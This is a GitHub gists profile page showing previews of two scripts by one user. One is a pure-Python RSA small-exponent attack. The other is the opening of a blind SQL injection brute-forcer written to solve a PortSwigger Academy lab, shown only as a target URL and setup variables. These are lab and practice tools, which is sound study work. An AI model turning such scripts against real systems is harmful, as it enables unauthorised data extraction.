Skip to content

Instantly share code, notes, and snippets.

View thewhiteh4t's full-sized avatar
💭
Creating tools for you...follow me on twitter :p

thewhiteh4t thewhiteh4t

💭
Creating tools for you...follow me on twitter :p
View GitHub Profile
@thewhiteh4t
thewhiteh4t / small_e_pure.py
Created March 8, 2021 16:41
Pure python solution for RSA small exponent attack
#!/usr/bin/env python3
'''
GOAL : Pure python solution for RSA small exponent attack
since cipher is a very large integer python generally throws
overflow error, to solve that I have used decimal module which is
part of the standard python library
decimal module offers user defined precision which can be increased
@thewhiteh4t
thewhiteh4t / blind_sql_brute.py
Last active May 11, 2021 17:46
Portswigger Academy Blind SQL injection with time delays and information retrieval solution
#!/usr/bin/env python3
import requests
url = 'https://ac8b1f4b1e6ce1ca80d12b3a001600d1.web-security-academy.net/'
max_len = 21
min_len = 1
timeout = 10
charset = 'abcdefghijklmnopqrstuvwxyz1234567890!@#$'